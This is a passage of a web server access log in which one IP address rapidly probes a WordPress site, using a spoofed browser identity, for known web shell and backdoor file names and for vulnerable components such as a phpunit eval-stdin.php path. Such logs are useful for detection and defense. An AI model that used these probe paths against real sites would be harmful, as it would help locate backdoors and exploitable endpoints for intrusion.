/.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:46 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:46 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:47 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:47 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:47 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:48 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:48 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:49 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:49 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:49 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:50 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:50 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:50 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 269 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:51 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:51 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:51 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:52 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:52 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:53 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:53 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:53 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:54 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:54 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:54 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:54 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:55 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:55 -0400] "GET /wp-content/about.php HTTP/1.1" 301 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:55 -0400] "GET /.well-known/about.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:56 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:56 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:57 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:57 -0400] "GET /images/about.php HTTP/1.1" 301 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:57 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:58 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:58 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:58 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:59 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:59 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:59 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:00 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:00 -0400] "GET /wp-includes/rest-api/fields/cache/ HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:00 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:01 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:01 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:01 -0400] "GET /wp-includes/rest-api/fields/cache/ HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:02 -0400] "GET /wp-includes/theme-compat/wp-aespa.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:02 -0400] "GET /wp-content/themes/mTheme-Unus/css/css.php HTTP/1.1" 301 272 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:02 -0400] "GET /wp-content/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 292 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:03 -0400] "GET /wp-content/themes/fiestaresidences/download.php HTTP/1.1" 301 278 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:03 -0400] "GET /wp-content/themes/konzept/includes/uploadify/upload.php HTTP/1.1" 301 286 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:03 -0400] "GET /wp-content/plugins/wp-file-manager/lib/php/1975.php HTTP/1.1" 301 282 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:04 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:04 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:04 -0400] "GET /simple.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:05 -0400] "GET /link.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:05 -0400] "GET /shell20211028.php HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:05 -0400] "GET /.well-known/ HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:06 -0400] "GET /index.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:06 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:07 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:07 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:07 -0400] "GET /css/ HTTP/1.1" 301 235 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:08 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:08 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:08 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:09 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:09 -0400] "GET /wp-content/ HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:09 -0400] "GET /wp-content/patior/ HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:10 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:10 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:10 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:10 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:11 -0400] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:11 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 269 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:11 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:12 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:12 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:12 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:13 -0400] "GET /.well-known/acme-challenge/wp-signup.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:13 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 270 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:13 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:14 -0400] "GET /wp-includes/block-supports/themes.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:14 -0400] "GET /wp-admin/images/themes.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:14 -0400] "GET /wp-includes/js/themes.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:15 -0400] "GET /wp-includes/pomo/themes.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:15 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:15 -0400] "GET /wp-includes/css/themes.php%20 HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:16 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - 